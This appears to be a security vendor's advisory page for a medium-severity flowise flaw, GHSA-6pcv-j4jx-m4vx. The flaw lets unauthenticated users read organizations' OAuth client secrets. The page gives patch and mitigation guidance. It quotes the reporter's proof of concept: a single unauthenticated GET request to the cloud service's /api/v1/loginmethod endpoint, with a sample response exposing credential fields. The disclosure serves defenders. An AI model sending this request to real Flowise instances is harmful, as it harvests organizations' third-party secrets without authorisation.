How severe is GHSA-6pcv-j4jx-m4vx?

GHSA-6pcv-j4jx-m4vx has a CVSS score of 5.3/10, rated MEDIUM. Review your exposure and patch according to your risk tolerance.

Which packages are affected by GHSA-6pcv-j4jx-m4vx?

GHSA-6pcv-j4jx-m4vx affects the following packages: flowise (npm). Ecosystems affected: npm.

How do I fix GHSA-6pcv-j4jx-m4vx?

Update flowise to 3.1.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-6pcv-j4jx-m4vx is resolved across your whole dependency graph.

How do I detect GHSA-6pcv-j4jx-m4vx in my npm dependencies?

Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for flowise. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

How do I mitigate GHSA-6pcv-j4jx-m4vx if there is no patch (or I can't update yet)?

If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

How does O3 Security protect against GHSA-6pcv-j4jx-m4vx?

O3 pinpoints whether GHSA-6pcv-j4jx-m4vx is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Is GHSA-6pcv-j4jx-m4vx actively exploited in the wild?

No public exploit code has been indexed for GHSA-6pcv-j4jx-m4vx yet. This does not mean the vulnerability cannot be exploited — absence of public exploits does not imply safety. Apply the recommended fix and use O3 Security to monitor your exposure.

When was GHSA-6pcv-j4jx-m4vx published, and has it been updated?

GHSA-6pcv-j4jx-m4vx was published on April 16, 2026 and was last updated on June 24, 2026. Advisory data evolves as severity scores, affected ranges, and exploit intelligence are revised — always check the latest version of the advisory before acting.

📦

📦 npm

Not in CISA KEV

MEDIUM severity

GHSA-6pcv-j4jx-m4vx

MEDIUM

GHSA-6pcv-j4jx-m4vx is a medium-severity (CVSS 5.3) vulnerability in flowise. O3 Security confirms whether GHSA-6pcv-j4jx-m4vx is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

Flowise: Unauthenticated Information Disclosure of OAuth Secrets (Cleartext) via GET Request

Also known asCVE-2026-56270

Published

Apr 16, 2026

Updated

Jun 24, 2026

Affected

1 pkg

Patched

1 / 1

Exploits

None indexed

Exploitation data as of Jun 24, 2026 · OSV.dev, FIRST.org (EPSS)

Real-World Exposure

1 pkg affected

How broadly this vulnerability is actually deployed: weekly install volume shows current usage, a proxy for how much of the ecosystem is exposed.

flowisenpm

4Kdownloads / week

Description

Summary

I have discovered a critical Missing Authentication vulnerability on the /api/v1/loginmethod endpoint. The API allows unauthenticated users (guests) to retrieve the full SSO configuration of any organization by simply providing an organizationId. The response includes sensitive OAuth credentials (Client Secrets) in cleartext.

PoC

The following request can be sent by anyone on the internet without any cookies or authorization headers.

Request

GET /api/v1/loginmethod?organizationId=<any_organization_id> HTTP/2
Host: cloud.flowiseai.com
Accept: application/json
Content-Type: application/json

Response: The server returns 200 OK with sensitive credentials:

{
  "providers": [
    {
      "id": "a04ba769-b810-481d-8d6b-84f8c377dea5",
      "organizationId": "bd2b74e0-e0cd-4bb5-ba98-3cc2ae683d5d",
      "name": "azure",
      "config": {
        "tenantID": "",
        "clientID": "",
        "clientSecret": ""
      },
      "status": "disable",
      "createdDate": "2025-12-26T18:52:33.453Z",
      "updatedDate": "2025-12-26T19:31:56.087Z",
      "createdBy": "6ab311fa-0d0a-4bd6-996e-4ae721377fb2",
      "updatedBy": "6ab311fa-0d0a-4bd6-996e-4ae721377fb2"
    },
    {
      "id": "eda8bd90-1c45-4aca-933f-3a53d9be4161",
      "organizationId": "bd2b74e0-e0cd-4bb5-ba98-3cc2ae683d5d",
      "name": "google",
      "config": {
        "clientID": "123455",
        "clientSecret": "123455"
      },
      "status": "enable",
      "createdDate": "2025-12-26T18:52:33.453Z",
      "updatedDate": "2025-12-26T19:31:56.087Z",
      "createdBy": "6ab311fa-0d0a-4bd6-996e-4ae721377fb2",
      "updatedBy": "6ab311fa-0d0a-4bd6-996e-4ae721377fb2"
    },
    {
      "id": "0d238df0-c89c-4733-bf57-6ec06f58c7e7",
      "organizationId": "bd2b74e0-e0cd-4bb5-ba98-3cc2ae683d5d",
      "name": "auth0",
      "config": {
        "domain": "",
        "clientID": "",
        "clientSecret": ""
      },
      "status": "disable",
      "createdDate": "2025-12-26T18:52:33.453Z",
      "updatedDate": "2025-12-26T19:31:56.087Z",
      "createdBy": "6ab311fa-0d0a-4bd6-996e-4ae721377fb2",
      "updatedBy": "6ab311fa-0d0a-4bd6-996e-4ae721377fb2"
    },
    {
      "id": "e060ae88-c7f4-4b7c-9bdc-5321963a1648",
      "organizationId": "bd2b74e0-e0cd-4bb5-ba98-3cc2ae683d5d",
      "name": "github",
      "config": {
        "clientID": "",
        "clientSecret": ""
      },
      "status": "disable",
      "createdDate": "2025-12-26T18:52:33.453Z",
      "updatedDate": "2025-12-26T19:31:56.087Z",
      "createdBy": "6ab311fa-0d0a-4bd6-996e-4ae721377fb2",
      "updatedBy": "6ab311fa-0d0a-4bd6-996e-4ae721377fb2"
    }
  ],
  "callbacks": [
    {
      "providerName": "azure",
      "callbackURL": "https://cloud.flowiseai.com/api/v1/azure/callback"
    },
    {
      "providerName": "google",
      "callbackURL": "https://cloud.flowiseai.com/api/v1/google/callback"
    },
    {
      "providerName": "auth0",
      "callbackURL": "https://cloud.flowiseai.com/api/v1/auth0/callback"
    },
    {
      "providerName": "github",
      "callbackURL": "https://cloud.flowiseai.com/api/v1/github/callback"
    }
  ]
}

Affected Deployments

FlowiseAI Cloud (cloud.flowiseai.com)
Self-hosted FlowiseAI instances where the /api/v1/loginmethod endpoint is exposed

Impact

An unauthenticated attacker can harvest sensitive API secrets (Google, Microsoft, GitHub Client Secrets) from any organization on the cloud platform. This leads to complete compromise of the organization's third-party integrations and potential data breaches.

Affected Packages

1 total 1 fixed

Ecosystem	Package	Vulnerable range	Fix
📦npm	`flowise`	all versions	3.1.0

Detection & mitigation playbook

Open-source dependency

Detect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for flowise. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update flowise to 3.1.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-6pcv-j4jx-m4vx is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-6pcv-j4jx-m4vx is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-6pcv-j4jx-m4vx. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary I have discovered a critical Missing Authentication vulnerability on the /api/v1/loginmethod endpoint. The API allows unauthenticated users (guests) to retrieve the full SSO configuration of any organization by simply providing an organizationId. The response includes sensitive OAuth credentials (Client Secrets) in cleartext. ### PoC The following request can be sent by anyone on the internet without any cookies or authorization headers. Request ```http GET /api/v1/loginmethod?organizationId=<any_organization_id> HTTP/2 Host: cloud.flowiseai.com Accept: application/json Content-

O3 Security · Impact-Aware SCA

Is GHSA-6pcv-j4jx-m4vx in your dependencies?

O3 detects GHSA-6pcv-j4jx-m4vx across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.

Scan my dependencies How O3 SCA works